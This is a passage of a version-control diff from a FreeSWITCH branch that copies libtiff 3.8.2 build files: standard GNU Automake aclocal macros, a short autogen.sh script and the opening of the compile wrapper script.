+# _AM_DEPENDENCIES(NAME)
+# ----------------------
+# See how the compiler implements dependency checking.
+# NAME is "CC", "CXX", "GCJ", or "OBJC".
+# We try a few techniques and use that to set a single cache variable.
+#
+# We don't AC_REQUIRE the corresponding AC_PROG_CC since the latter was
+# modified to invoke _AM_DEPENDENCIES(CC); we would have a circular
+# dependency, and given that the user is not expected to run this macro,
+# just rely on AC_PROG_CC.
+AC_DEFUN([_AM_DEPENDENCIES],
+[AC_REQUIRE([AM_SET_DEPDIR])dnl
+AC_REQUIRE([AM_OUTPUT_DEPENDENCY_COMMANDS])dnl
+AC_REQUIRE([AM_MAKE_INCLUDE])dnl
+AC_REQUIRE([AM_DEP_TRACK])dnl
+
+ifelse([$1], CC,   [depcc="$CC"   am_compiler_list=],
+       [$1], CXX,  [depcc="$CXX"  am_compiler_list=],
+       [$1], OBJC, [depcc="$OBJC" am_compiler_list='gcc3 gcc'],
+       [$1], GCJ,  [depcc="$GCJ"  am_compiler_list='gcc3 gcc'],
+                   [depcc="$$1"   am_compiler_list=])
+
+AC_CACHE_CHECK([dependency style of $depcc],
+               [am_cv_$1_dependencies_compiler_type],
+[if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then
+  # We make a subdir and do the tests there.  Otherwise we can end up
+  # making bogus files that we don't know about and never remove.  For
+  # instance it was reported that on HP-UX the gcc test will end up
+  # making a dummy file named `D' -- because `-MD' means `put the output
+  # in D'.
+  mkdir conftest.dir
+  # Copy depcomp to subdir because otherwise we won't find it if we're
+  # using a relative directory.
+  cp "$am_depcomp" conftest.dir
+  cd conftest.dir
+  # We will build objects and dependencies in a subdirectory because
+  # it helps to detect inapplicable dependency modes.  For instance
+  # both Tru64's cc and ICC support -MD to output dependencies as a
+  # side effect of compilation, but ICC will put the dependencies in
+  # the current directory while Tru64 will put them in the object
+  # directory.
+  mkdir sub
+
+  am_cv_$1_dependencies_compiler_type=none
+  if test "$am_compiler_list" = ""; then
+     am_compiler_list=`sed -n ['s/^#*\([a-zA-Z0-9]*\))$/\1/p'] < ./depcomp`
+  fi
+  for depmode in $am_compiler_list; do
+    # Setup a source with many dependencies, because some compilers
+    # like to wrap large dependency lists on column 80 (with \), and
+    # we should not choose a depcomp mode which is confused by this.
+    #
+    # We need to recreate these files for each test, as the compiler may
+    # overwrite some of them when testing with obscure command lines.
+    # This happens at least with the AIX C compiler.
+    : > sub/conftest.c
+    for i in 1 2 3 4 5 6; do
+      echo '#include "conftst'$i'.h"' >> sub/conftest.c
+      # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with
+      # Solaris 8's {/usr,}/bin/sh.
+      touch sub/conftst$i.h
+    done
+    echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf
+
+    case $depmode in
+    nosideeffect)
+      # after this tag, mechanisms are not by side-effect, so they'll
+      # only be used when explicitly requested
+      if test "x$enable_dependency_tracking" = xyes; then
+	continue
+      else
+	break
+      fi
+      ;;
+    none) break ;;
+    esac
+    # We check with `-c' and `-o' for the sake of the "dashmstdout"
+    # mode.  It turns out that the SunPro C++ compiler does not properly
+    # handle `-M -o', and we need to detect this.
+    if depmode=$depmode \
+       source=sub/conftest.c object=sub/conftest.${OBJEXT-o} \
+       depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \
+       $SHELL ./depcomp $depcc -c -o sub/conftest.${OBJEXT-o} sub/conftest.c \
+         >/dev/null 2>conftest.err &&
+       grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 &&
+       grep sub/conftest.${OBJEXT-o} sub/conftest.Po > /dev/null 2>&1 &&
+       ${MAKE-make} -s -f confmf > /dev/null 2>&1; then
+      # icc doesn't choke on unknown options, it will just issue warnings
+      # or remarks (even with -Werror).  So we grep stderr for any message
+      # that says an option was ignored or not supported.
+      # When given -MP, icc 7.0 and 7.1 complain thusly:
+      #   icc: Command line warning: ignoring option '-M'; no argument required
+      # The diagnosis changed in icc 8.0:
+      #   icc: Command line remark: option '-MP' not supported
+      if (grep 'ignoring option' conftest.err ||
+          grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else
+        am_cv_$1_dependencies_compiler_type=$depmode
+        break
+      fi
+    fi
+  done
+
+  cd ..
+  rm -rf conftest.dir
+else
+  am_cv_$1_dependencies_compiler_type=none
+fi
+])
+AC_SUBST([$1DEPMODE], [depmode=$am_cv_$1_dependencies_compiler_type])
+AM_CONDITIONAL([am__fastdep$1], [
+  test "x$enable_dependency_tracking" != xno \
+  && test "$am_cv_$1_dependencies_compiler_type" = gcc3])
+])
+
+
+# AM_SET_DEPDIR
+# -------------
+# Choose a directory name for dependency files.
+# This macro is AC_REQUIREd in _AM_DEPENDENCIES
+AC_DEFUN([AM_SET_DEPDIR],
+[AC_REQUIRE([AM_SET_LEADING_DOT])dnl
+AC_SUBST([DEPDIR], ["${am__leading_dot}deps"])dnl
+])
+
+
+# AM_DEP_TRACK
+# ------------
+AC_DEFUN([AM_DEP_TRACK],
+[AC_ARG_ENABLE(dependency-tracking,
+[  --disable-dependency-tracking  speeds up one-time build
+  --enable-dependency-tracking   do not reject slow dependency extractors])
+if test "x$enable_dependency_tracking" != xno; then
+  am_depcomp="$ac_aux_dir/depcomp"
+  AMDEPBACKSLASH='\'
+fi
+AM_CONDITIONAL([AMDEP], [test "x$enable_dependency_tracking" != xno])
+AC_SUBST([AMDEPBACKSLASH])
+])
+
+# Generate code to set up dependency tracking.              -*- Autoconf -*-
+
+# Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005
+# Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+#serial 3
+
+# _AM_OUTPUT_DEPENDENCY_COMMANDS
+# ------------------------------
+AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS],
+[for mf in $CONFIG_FILES; do
+  # Strip MF so we end up with the name of the file.
+  mf=`echo "$mf" | sed -e 's/:.*$//'`
+  # Check whether this is an Automake generated Makefile or not.
+  # We used to match only the files named `Makefile.in', but
+  # some people rename them; so instead we look at the file content.
+  # Grep'ing the first line is not enough: some people post-process
+  # each Makefile.in and add a new line on top of each file to say so.
+  # So let's grep whole file.
+  if grep '^#.*generated by automake' $mf > /dev/null 2>&1; then
+    dirpart=`AS_DIRNAME("$mf")`
+  else
+    continue
+  fi
+  # Extract the definition of DEPDIR, am__include, and am__quote
+  # from the Makefile without running `make'.
+  DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"`
+  test -z "$DEPDIR" && continue
+  am__include=`sed -n 's/^am__include = //p' < "$mf"`
+  test -z "am__include" && continue
+  am__quote=`sed -n 's/^am__quote = //p' < "$mf"`
+  # When using ansi2knr, U may be empty or an underscore; expand it
+  U=`sed -n 's/^U = //p' < "$mf"`
+  # Find all dependency output files, they are included files with
+  # $(DEPDIR) in their names.  We invoke sed twice because it is the
+  # simplest approach to changing $(DEPDIR) to its actual value in the
+  # expansion.
+  for file in `sed -n "
+    s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \
+       sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do
+    # Make sure the directory exists.
+    test -f "$dirpart/$file" && continue
+    fdir=`AS_DIRNAME(["$file"])`
+    AS_MKDIR_P([$dirpart/$fdir])
+    # echo "creating $dirpart/$file"
+    echo '# dummy' > "$dirpart/$file"
+  done
+done
+])# _AM_OUTPUT_DEPENDENCY_COMMANDS
+
+
+# AM_OUTPUT_DEPENDENCY_COMMANDS
+# -----------------------------
+# This macro should only be invoked once -- use via AC_REQUIRE.
+#
+# This code is only required when automatic dependency tracking
+# is enabled.  FIXME.  This creates each `.P' file that we will
+# need in order to bootstrap the dependency handling code.
+AC_DEFUN([AM_OUTPUT_DEPENDENCY_COMMANDS],
+[AC_CONFIG_COMMANDS([depfiles],
+     [test x"$AMDEP_TRUE" != x"" || _AM_OUTPUT_DEPENDENCY_COMMANDS],
+     [AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir"])
+])
+
+# Do all the work for Automake.                             -*- Autoconf -*-
+
+# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005
+# Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# serial 12
+
+# This macro actually does too much.  Some checks are only needed if
+# your package does certain things.  But this isn't really a big deal.
+
+# AM_INIT_AUTOMAKE(PACKAGE, VERSION, [NO-DEFINE])
+# AM_INIT_AUTOMAKE([OPTIONS])
+# -----------------------------------------------
+# The call with PACKAGE and VERSION arguments is the old style
+# call (pre autoconf-2.50), which is being phased out.  PACKAGE
+# and VERSION should now be passed to AC_INIT and removed from
+# the call to AM_INIT_AUTOMAKE.
+# We support both call styles for the transition.  After
+# the next Automake release, Autoconf can make the AC_INIT
+# arguments mandatory, and then we can depend on a new Autoconf
+# release and drop the old call support.
+AC_DEFUN([AM_INIT_AUTOMAKE],
+[AC_PREREQ([2.58])dnl
+dnl Autoconf wants to disallow AM_ names.  We explicitly allow
+dnl the ones we care about.
+m4_pattern_allow([^AM_[A-Z]+FLAGS$])dnl
+AC_REQUIRE([AM_SET_CURRENT_AUTOMAKE_VERSION])dnl
+AC_REQUIRE([AC_PROG_INSTALL])dnl
+# test to see if srcdir already configured
+if test "`cd $srcdir && pwd`" != "`pwd`" &&
+   test -f $srcdir/config.status; then
+  AC_MSG_ERROR([source directory already configured; run "make distclean" there first])
+fi
+
+# test whether we have cygpath
+if test -z "$CYGPATH_W"; then
+  if (cygpath --version) >/dev/null 2>/dev/null; then
+    CYGPATH_W='cygpath -w'
+  else
+    CYGPATH_W=echo
+  fi
+fi
+AC_SUBST([CYGPATH_W])
+
+# Define the identity of the package.
+dnl Distinguish between old-style and new-style calls.
+m4_ifval([$2],
+[m4_ifval([$3], [_AM_SET_OPTION([no-define])])dnl
+ AC_SUBST([PACKAGE], [$1])dnl
+ AC_SUBST([VERSION], [$2])],
+[_AM_SET_OPTIONS([$1])dnl
+ AC_SUBST([PACKAGE], ['AC_PACKAGE_TARNAME'])dnl
+ AC_SUBST([VERSION], ['AC_PACKAGE_VERSION'])])dnl
+
+_AM_IF_OPTION([no-define],,
+[AC_DEFINE_UNQUOTED(PACKAGE, "$PACKAGE", [Name of package])
+ AC_DEFINE_UNQUOTED(VERSION, "$VERSION", [Version number of package])])dnl
+
+# Some tools Automake needs.
+AC_REQUIRE([AM_SANITY_CHECK])dnl
+AC_REQUIRE([AC_ARG_PROGRAM])dnl
+AM_MISSING_PROG(ACLOCAL, aclocal-${am__api_version})
+AM_MISSING_PROG(AUTOCONF, autoconf)
+AM_MISSING_PROG(AUTOMAKE, automake-${am__api_version})
+AM_MISSING_PROG(AUTOHEADER, autoheader)
+AM_MISSING_PROG(MAKEINFO, makeinfo)
+AM_PROG_INSTALL_SH
+AM_PROG_INSTALL_STRIP
+AC_REQUIRE([AM_PROG_MKDIR_P])dnl
+# We need awk for the "check" target.  The system "awk" is bad on
+# some platforms.
+AC_REQUIRE([AC_PROG_AWK])dnl
+AC_REQUIRE([AC_PROG_MAKE_SET])dnl
+AC_REQUIRE([AM_SET_LEADING_DOT])dnl
+_AM_IF_OPTION([tar-ustar], [_AM_PROG_TAR([ustar])],
+              [_AM_IF_OPTION([tar-pax], [_AM_PROG_TAR([pax])],
+	      		     [_AM_PROG_TAR([v7])])])
+_AM_IF_OPTION([no-dependencies],,
+[AC_PROVIDE_IFELSE([AC_PROG_CC],
+                  [_AM_DEPENDENCIES(CC)],
+                  [define([AC_PROG_CC],
+                          defn([AC_PROG_CC])[_AM_DEPENDENCIES(CC)])])dnl
+AC_PROVIDE_IFELSE([AC_PROG_CXX],
+                  [_AM_DEPENDENCIES(CXX)],
+                  [define([AC_PROG_CXX],
+                          defn([AC_PROG_CXX])[_AM_DEPENDENCIES(CXX)])])dnl
+])
+])
+
+
+# When config.status generates a header, we must update the stamp-h file.
+# This file resides in the same directory as the config header
+# that is generated.  The stamp files are numbered to have different names.
+
+# Autoconf calls _AC_AM_CONFIG_HEADER_HOOK (when defined) in the
+# loop where config.status creates the headers, so we can generate
+# our stamp files there.
+AC_DEFUN([_AC_AM_CONFIG_HEADER_HOOK],
+[# Compute $1's index in $config_headers.
+_am_stamp_count=1
+for _am_header in $config_headers :; do
+  case $_am_header in
+    $1 | $1:* )
+      break ;;
+    * )
+      _am_stamp_count=`expr $_am_stamp_count + 1` ;;
+  esac
+done
+echo "timestamp for $1" >`AS_DIRNAME([$1])`/stamp-h[]$_am_stamp_count])
+
+# Copyright (C) 2001, 2003, 2005  Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# AM_PROG_INSTALL_SH
+# ------------------
+# Define $install_sh.
+AC_DEFUN([AM_PROG_INSTALL_SH],
+[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl
+install_sh=${install_sh-"$am_aux_dir/install-sh"}
+AC_SUBST(install_sh)])
+
+# Copyright (C) 2003, 2005  Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# serial 2
+
+# Check whether the underlying file-system supports filenames
+# with a leading dot.  For instance MS-DOS doesn't.
+AC_DEFUN([AM_SET_LEADING_DOT],
+[rm -rf .tst 2>/dev/null
+mkdir .tst 2>/dev/null
+if test -d .tst; then
+  am__leading_dot=.
+else
+  am__leading_dot=_
+fi
+rmdir .tst 2>/dev/null
+AC_SUBST([am__leading_dot])])
+
+# Add --enable-maintainer-mode option to configure.         -*- Autoconf -*-
+# From Jim Meyering
+
+# Copyright (C) 1996, 1998, 2000, 2001, 2002, 2003, 2004, 2005
+# Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# serial 4
+
+AC_DEFUN([AM_MAINTAINER_MODE],
+[AC_MSG_CHECKING([whether to enable maintainer-specific portions of Makefiles])
+  dnl maintainer-mode is disabled by default
+  AC_ARG_ENABLE(maintainer-mode,
+[  --enable-maintainer-mode  enable make rules and dependencies not useful
+			  (and sometimes confusing) to the casual installer],
+      USE_MAINTAINER_MODE=$enableval,
+      USE_MAINTAINER_MODE=no)
+  AC_MSG_RESULT([$USE_MAINTAINER_MODE])
+  AM_CONDITIONAL(MAINTAINER_MODE, [test $USE_MAINTAINER_MODE = yes])
+  MAINT=$MAINTAINER_MODE_TRUE
+  AC_SUBST(MAINT)dnl
+]
+)
+
+AU_DEFUN([jm_MAINTAINER_MODE], [AM_MAINTAINER_MODE])
+
+# Check to see how 'make' treats includes.	            -*- Autoconf -*-
+
+# Copyright (C) 2001, 2002, 2003, 2005  Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# serial 3
+
+# AM_MAKE_INCLUDE()
+# -----------------
+# Check to see how make treats includes.
+AC_DEFUN([AM_MAKE_INCLUDE],
+[am_make=${MAKE-make}
+cat > confinc << 'END'
+am__doit:
+	@echo done
+.PHONY: am__doit
+END
+# If we don't find an include directive, just comment out the code.
+AC_MSG_CHECKING([for style of include used by $am_make])
+am__include="#"
+am__quote=
+_am_result=none
+# First try GNU make style include.
+echo "include confinc" > confmf
+# We grep out `Entering directory' and `Leaving directory'
+# messages which can occur if `w' ends up in MAKEFLAGS.
+# In particular we don't look at `^make:' because GNU make might
+# be invoked under some other name (usually "gmake"), in which
+# case it prints its new name instead of `make'.
+if test "`$am_make -s -f confmf 2> /dev/null | grep -v 'ing directory'`" = "done"; then
+   am__include=include
+   am__quote=
+   _am_result=GNU
+fi
+# Now try BSD make style include.
+if test "$am__include" = "#"; then
+   echo '.include "confinc"' > confmf
+   if test "`$am_make -s -f confmf 2> /dev/null`" = "done"; then
+      am__include=.include
+      am__quote="\""
+      _am_result=BSD
+   fi
+fi
+AC_SUBST([am__include])
+AC_SUBST([am__quote])
+AC_MSG_RESULT([$_am_result])
+rm -f confinc confmf
+])
+
+# Copyright (C) 1999, 2000, 2001, 2003, 2005  Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# serial 3
+
+# AM_PROG_CC_C_O
+# --------------
+# Like AC_PROG_CC_C_O, but changed for automake.
+AC_DEFUN([AM_PROG_CC_C_O],
+[AC_REQUIRE([AC_PROG_CC_C_O])dnl
+AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl
+# FIXME: we rely on the cache variable name because
+# there is no other way.
+set dummy $CC
+ac_cc=`echo $[2] | sed ['s/[^a-zA-Z0-9_]/_/g;s/^[0-9]/_/']`
+if eval "test \"`echo '$ac_cv_prog_cc_'${ac_cc}_c_o`\" != yes"; then
+   # Losing compiler, so override with the script.
+   # FIXME: It is wrong to rewrite CC.
+   # But if we don't then we get into trouble of one sort or another.
+   # A longer-term fix would be to have automake use am__CC in this case,
+   # and then we could set am__CC="\$(top_srcdir)/compile \$(CC)"
+   CC="$am_aux_dir/compile $CC"
+fi
+])
+
+# Fake the existence of programs that GNU maintainers use.  -*- Autoconf -*-
+
+# Copyright (C) 1997, 1999, 2000, 2001, 2003, 2005
+# Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# serial 4
+
+# AM_MISSING_PROG(NAME, PROGRAM)
+# ------------------------------
+AC_DEFUN([AM_MISSING_PROG],
+[AC_REQUIRE([AM_MISSING_HAS_RUN])
+$1=${$1-"${am_missing_run}$2"}
+AC_SUBST($1)])
+
+
+# AM_MISSING_HAS_RUN
+# ------------------
+# Define MISSING if not defined so far and test if it supports --run.
+# If it does, set am_missing_run to use it, otherwise, to nothing.
+AC_DEFUN([AM_MISSING_HAS_RUN],
+[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl
+test x"${MISSING+set}" = xset || MISSING="\${SHELL} $am_aux_dir/missing"
+# Use eval to expand $SHELL
+if eval "$MISSING --run true"; then
+  am_missing_run="$MISSING --run "
+else
+  am_missing_run=
+  AC_MSG_WARN([`missing' script is too old or missing])
+fi
+])
+
+# Copyright (C) 2003, 2004, 2005  Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# AM_PROG_MKDIR_P
+# ---------------
+# Check whether `mkdir -p' is supported, fallback to mkinstalldirs otherwise.
+#
+# Automake 1.8 used `mkdir -m 0755 -p --' to ensure that directories
+# created by `make install' are always world readable, even if the
+# installer happens to have an overly restrictive umask (e.g. 077).
+# This was a mistake.  There are at least two reasons why we must not
+# use `-m 0755':
+#   - it causes special bits like SGID to be ignored,
+#   - it may be too restrictive (some setups expect 775 directories).
+#
+# Do not use -m 0755 and let people choose whatever they expect by
+# setting umask.
+#
+# We cannot accept any implementation of `mkdir' that recognizes `-p'.
+# Some implementations (such as Solaris 8's) are not thread-safe: if a
+# parallel make tries to run `mkdir -p a/b' and `mkdir -p a/c'
+# concurrently, both version can detect that a/ is missing, but only
+# one can create it and the other will error out.  Consequently we
+# restrict ourselves to GNU make (using the --version option ensures
+# this.)
+AC_DEFUN([AM_PROG_MKDIR_P],
+[if mkdir -p --version . >/dev/null 2>&1 && test ! -d ./--version; then
+  # We used to keeping the `.' as first argument, in order to
+  # allow $(mkdir_p) to be used without argument.  As in
+  #   $(mkdir_p) $(somedir)
+  # where $(somedir) is conditionally defined.  However this is wrong
+  # for two reasons:
+  #  1. if the package is installed by a user who cannot write `.'
+  #     make install will fail,
+  #  2. the above comment should most certainly read
+  #     $(mkdir_p) $(DESTDIR)$(somedir)
+  #     so it does not work when $(somedir) is undefined and
+  #     $(DESTDIR) is not.
+  #  To support the latter case, we have to write
+  #     test -z "$(somedir)" || $(mkdir_p) $(DESTDIR)$(somedir),
+  #  so the `.' trick is pointless.
+  mkdir_p='mkdir -p --'
+else
+  # On NextStep and OpenStep, the `mkdir' command does not
+  # recognize any option.  It will interpret all options as
+  # directories to create, and then abort because `.' already
+  # exists.
+  for d in ./-p ./--version;
+  do
+    test -d $d && rmdir $d
+  done
+  # $(mkinstalldirs) is defined by Automake if mkinstalldirs exists.
+  if test -f "$ac_aux_dir/mkinstalldirs"; then
+    mkdir_p='$(mkinstalldirs)'
+  else
+    mkdir_p='$(install_sh) -d'
+  fi
+fi
+AC_SUBST([mkdir_p])])
+
+# Helper functions for option handling.                     -*- Autoconf -*-
+
+# Copyright (C) 2001, 2002, 2003, 2005  Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# serial 3
+
+# _AM_MANGLE_OPTION(NAME)
+# -----------------------
+AC_DEFUN([_AM_MANGLE_OPTION],
+[[_AM_OPTION_]m4_bpatsubst($1, [[^a-zA-Z0-9_]], [_])])
+
+# _AM_SET_OPTION(NAME)
+# ------------------------------
+# Set option NAME.  Presently that only means defining a flag for this option.
+AC_DEFUN([_AM_SET_OPTION],
+[m4_define(_AM_MANGLE_OPTION([$1]), 1)])
+
+# _AM_SET_OPTIONS(OPTIONS)
+# ----------------------------------
+# OPTIONS is a space-separated list of Automake options.
+AC_DEFUN([_AM_SET_OPTIONS],
+[AC_FOREACH([_AM_Option], [$1], [_AM_SET_OPTION(_AM_Option)])])
+
+# _AM_IF_OPTION(OPTION, IF-SET, [IF-NOT-SET])
+# -------------------------------------------
+# Execute IF-SET if OPTION is set, IF-NOT-SET otherwise.
+AC_DEFUN([_AM_IF_OPTION],
+[m4_ifset(_AM_MANGLE_OPTION([$1]), [$2], [$3])])
+
+# Check to make sure that the build environment is sane.    -*- Autoconf -*-
+
+# Copyright (C) 1996, 1997, 2000, 2001, 2003, 2005
+# Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# serial 4
+
+# AM_SANITY_CHECK
+# ---------------
+AC_DEFUN([AM_SANITY_CHECK],
+[AC_MSG_CHECKING([whether build environment is sane])
+# Just in case
+sleep 1
+echo timestamp > conftest.file
+# Do `set' in a subshell so we don't clobber the current shell's
+# arguments.  Must try -L first in case configure is actually a
+# symlink; some systems play weird games with the mod time of symlinks
+# (eg FreeBSD returns the mod time of the symlink's containing
+# directory).
+if (
+   set X `ls -Lt $srcdir/configure conftest.file 2> /dev/null`
+   if test "$[*]" = "X"; then
+      # -L didn't work.
+      set X `ls -t $srcdir/configure conftest.file`
+   fi
+   rm -f conftest.file
+   if test "$[*]" != "X $srcdir/configure conftest.file" \
+      && test "$[*]" != "X conftest.file $srcdir/configure"; then
+
+      # If neither matched, then we have a broken ls.  This can happen
+      # if, for instance, CONFIG_SHELL is bash and it inherits a
+      # broken ls alias from the environment.  This has actually
+      # happened.  Such a system could not be considered "sane".
+      AC_MSG_ERROR([ls -t appears to fail.  Make sure there is not a broken
+alias in your environment])
+   fi
+
+   test "$[2]" = conftest.file
+   )
+then
+   # Ok.
+   :
+else
+   AC_MSG_ERROR([newly created file is older than distributed files!
+Check your system clock])
+fi
+AC_MSG_RESULT(yes)])
+
+# Copyright (C) 2001, 2003, 2005  Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# AM_PROG_INSTALL_STRIP
+# ---------------------
+# One issue with vendor `install' (even GNU) is that you can't
+# specify the program used to strip binaries.  This is especially
+# annoying in cross-compiling environments, where the build's strip
+# is unlikely to handle the host's binaries.
+# Fortunately install-sh will honor a STRIPPROG variable, so we
+# always use install-sh in `make install-strip', and initialize
+# STRIPPROG with the value of the STRIP variable (set by the user).
+AC_DEFUN([AM_PROG_INSTALL_STRIP],
+[AC_REQUIRE([AM_PROG_INSTALL_SH])dnl
+# Installed binaries are usually stripped using `strip' when the user
+# run `make install-strip'.  However `strip' might not be the right
+# tool to use in cross-compilation environments, therefore Automake
+# will honor the `STRIP' environment variable to overrule this program.
+dnl Don't test for $cross_compiling = yes, because it might be `maybe'.
+if test "$cross_compiling" != no; then
+  AC_CHECK_TOOL([STRIP], [strip], :)
+fi
+INSTALL_STRIP_PROGRAM="\${SHELL} \$(install_sh) -c -s"
+AC_SUBST([INSTALL_STRIP_PROGRAM])])
+
+# Check how to create a tarball.                            -*- Autoconf -*-
+
+# Copyright (C) 2004, 2005  Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# serial 2
+
+# _AM_PROG_TAR(FORMAT)
+# --------------------
+# Check how to create a tarball in format FORMAT.
+# FORMAT should be one of `v7', `ustar', or `pax'.
+#
+# Substitute a variable $(am__tar) that is a command
+# writing to stdout a FORMAT-tarball containing the directory
+# $tardir.
+#     tardir=directory && $(am__tar) > result.tar
+#
+# Substitute a variable $(am__untar) that extract such
+# a tarball read from stdin.
+#     $(am__untar) < result.tar
+AC_DEFUN([_AM_PROG_TAR],
+[# Always define AMTAR for backward compatibility.
+AM_MISSING_PROG([AMTAR], [tar])
+m4_if([$1], [v7],
+     [am__tar='${AMTAR} chof - "$$tardir"'; am__untar='${AMTAR} xf -'],
+     [m4_case([$1], [ustar],, [pax],,
+              [m4_fatal([Unknown tar format])])
+AC_MSG_CHECKING([how to create a $1 tar archive])
+# Loop over all known methods to create a tar archive until one works.
+_am_tools='gnutar m4_if([$1], [ustar], [plaintar]) pax cpio none'
+_am_tools=${am_cv_prog_tar_$1-$_am_tools}
+# Do not fold the above two line into one, because Tru64 sh and
+# Solaris sh will not grok spaces in the rhs of `-'.
+for _am_tool in $_am_tools
+do
+  case $_am_tool in
+  gnutar)
+    for _am_tar in tar gnutar gtar;
+    do
+      AM_RUN_LOG([$_am_tar --version]) && break
+    done
+    am__tar="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$$tardir"'
+    am__tar_="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$tardir"'
+    am__untar="$_am_tar -xf -"
+    ;;
+  plaintar)
+    # Must skip GNU tar: if it does not support --format= it doesn't create
+    # ustar tarball either.
+    (tar --version) >/dev/null 2>&1 && continue
+    am__tar='tar chf - "$$tardir"'
+    am__tar_='tar chf - "$tardir"'
+    am__untar='tar xf -'
+    ;;
+  pax)
+    am__tar='pax -L -x $1 -w "$$tardir"'
+    am__tar_='pax -L -x $1 -w "$tardir"'
+    am__untar='pax -r'
+    ;;
+  cpio)
+    am__tar='find "$$tardir" -print | cpio -o -H $1 -L'
+    am__tar_='find "$tardir" -print | cpio -o -H $1 -L'
+    am__untar='cpio -i -H $1 -d'
+    ;;
+  none)
+    am__tar=false
+    am__tar_=false
+    am__untar=false
+    ;;
+  esac
+
+  # If the value was cached, stop now.  We just wanted to have am__tar
+  # and am__untar set.
+  test -n "${am_cv_prog_tar_$1}" && break
+
+  # tar/untar a dummy directory, and stop if the command works
+  rm -rf conftest.dir
+  mkdir conftest.dir
+  echo GrepMe > conftest.dir/file
+  AM_RUN_LOG([tardir=conftest.dir && eval $am__tar_ >conftest.tar])
+  rm -rf conftest.dir
+  if test -s conftest.tar; then
+    AM_RUN_LOG([$am__untar <conftest.tar])
+    grep GrepMe conftest.dir/file >/dev/null 2>&1 && break
+  fi
+done
+rm -rf conftest.dir
+
+AC_CACHE_VAL([am_cv_prog_tar_$1], [am_cv_prog_tar_$1=$_am_tool])
+AC_MSG_RESULT([$am_cv_prog_tar_$1])])
+AC_SUBST([am__tar])
+AC_SUBST([am__untar])
+]) # _AM_PROG_TAR
+
+m4_include([m4/acinclude.m4])
+m4_include([m4/libtool.m4])
+m4_include([m4/ltoptions.m4])
+m4_include([m4/ltsugar.m4])
+m4_include([m4/ltversion.m4])

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/autogen.sh

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/autogen.sh (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/autogen.sh) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/autogen.sh	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/autogen.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+#!/bin/sh
+set -x
+#libtoolize --force --copy
+aclocal -I ./m4
+autoheader
+automake --foreign --add-missing --copy
+autoconf
+

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/config (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/config)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/config/compile

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/config/compile (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/config/compile) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/config/compile	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/config/compile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,142 @@
+#! /bin/sh
+# Wrapper for compilers which do not understand `-c -o'.
+
+scriptversion=2005-05-14.22
+
+# Copyright (C) 1999, 2000, 2003, 2004, 2005 Free Software Foundation, Inc.
+# Written by Tom Tromey <tromey@cygnus.com>.
+#
